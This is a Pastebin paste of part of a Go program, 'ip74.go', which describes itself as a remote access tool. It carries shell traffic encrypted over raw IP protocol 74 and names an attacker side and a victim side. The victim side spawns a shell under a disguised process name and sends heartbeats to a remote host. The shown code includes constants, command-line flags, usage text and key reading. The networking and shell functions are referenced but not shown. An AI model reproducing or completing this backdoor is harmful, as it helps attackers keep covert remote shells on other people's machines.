Advertisement
FlyFar

ip74.go

Jan 20th, 2024
1,056
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Go 2.71 KB | Cybersecurity | 0 0
  1. package main
  2.  
  3. import (
  4.     "bufio"
  5.     "bytes"
  6.     "flag"
  7.     "fmt"
  8.     "log"
  9.     "os"
  10.     "time"
  11. )
  12.  
  13. /*
  14.  * ip74.go
  15.  * Program to send and receive comms over raw IP
  16.  * By J. Stuart McMurray
  17.  * Created 20160226
  18.  * Last Modified 20160226
  19.  */
  20.  
  21. const (
  22.     HBINT    = time.Minute    /* Default heartbeet interval */
  23.     NAME     = "zzzzzzziprat" /* Name for child process */
  24.     REMOTE   = "127.0.0.1"    /* Default remote address */
  25.     BUFLEN   = 65511          /* Copy buffer size */
  26.     PROTO    = 74             /* Default IP protocol */
  27.     KEYLEN   = 32             /* Key length */
  28.     NONCELEN = 24             /* Nonce length, must be < BUFLEN */
  29. )
  30.  
  31. /* Make sure BUFLEN and NONCELEN work */
  32. func init() {
  33.     if BUFLEN <= NONCELEN ||
  34.         (BUFLEN+NONCELEN) > 65535 {
  35.         panic("Invalid buffer sizes")
  36.     }
  37. }
  38.  
  39. func main() {
  40.     /* Get the local address */
  41.     loc, err := localIP()
  42.     if nil != err {
  43.         log.Printf("Unable to determine local address: %v", err)
  44.     }
  45.     var (
  46.         laddr = flag.String(
  47.             "l",
  48.             loc,
  49.             "Local `address`",
  50.         )
  51.         raddr = flag.String(
  52.             "r",
  53.             REMOTE,
  54.             "Remote `address`",
  55.         )
  56.         proto = flag.Uint(
  57.             "p",
  58.             PROTO,
  59.             "IP protocol `number`",
  60.         )
  61.         attacker = flag.Bool(
  62.             "s",
  63.             false,
  64.             "Don't spawn a shell, use stdio instead "+
  65.                 "(set on attacker side)",
  66.         )
  67.         name = flag.String(
  68.             "n",
  69.             NAME,
  70.             "Process `name` for child (ignored if -s is set)",
  71.         )
  72.         hbint = flag.Duration(
  73.             "i",
  74.             HBINT,
  75.             "Heartbeet `interval`",
  76.         )
  77.     )
  78.     flag.Usage = func() {
  79.         fmt.Fprintf(
  80.             os.Stderr,
  81.             `Usage: %v [options]
  82.    
  83. Sends and receives ip packets between the remote and local hosts and either
  84. proxies the data to a shell or stdio.
  85.  
  86. Two newline-terminated 32-byte keys expected on stdin.  The first is for
  87. decrypting data read from the network, and the second is to encrypt data to be
  88. sent on the network.
  89.  
  90. If -s is given, instead of connecting a shell to the network, it connects stdio
  91. to the network.  Use on the attacker side.
  92.  
  93. Options:
  94. `,
  95.             os.Args[0],
  96.         )
  97.         flag.PrintDefaults()
  98.     }
  99.     flag.Parse()
  100.  
  101.     /* Set up networking */
  102.     c := connect(*laddr, *raddr, *proto, *hbint)
  103.  
  104.     /* Be comms or a rat */
  105.     if *attacker {
  106.         attack(c)
  107.     } else {
  108.         shell(c, *name)
  109.     }
  110.     log.Printf("Done.")
  111.  
  112. }
  113.  
  114. /* getKey gets a key from stdin, or dies if it's the wrong length. */
  115. func getKey(r *bufio.Reader) [KEYLEN]byte {
  116.     var a [KEYLEN]byte
  117.     /* Read the key */
  118.     l, err := r.ReadBytes('\n')
  119.     if nil != err {
  120.         log.Fatalf("Error reading key: %v", err)
  121.     }
  122.     l = bytes.TrimRight(l, "\n")
  123.     /* Check the length */
  124.     if KEYLEN != len(l) {
  125.         log.Fatalf(
  126.             "Key wrong length.  Expected %v, got %v",
  127.             KEYLEN,
  128.             len(l),
  129.         )
  130.     }
  131.     /* Copy it to an array */
  132.     for i, v := range l {
  133.         a[i] = v
  134.     }
  135.     return a
  136. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement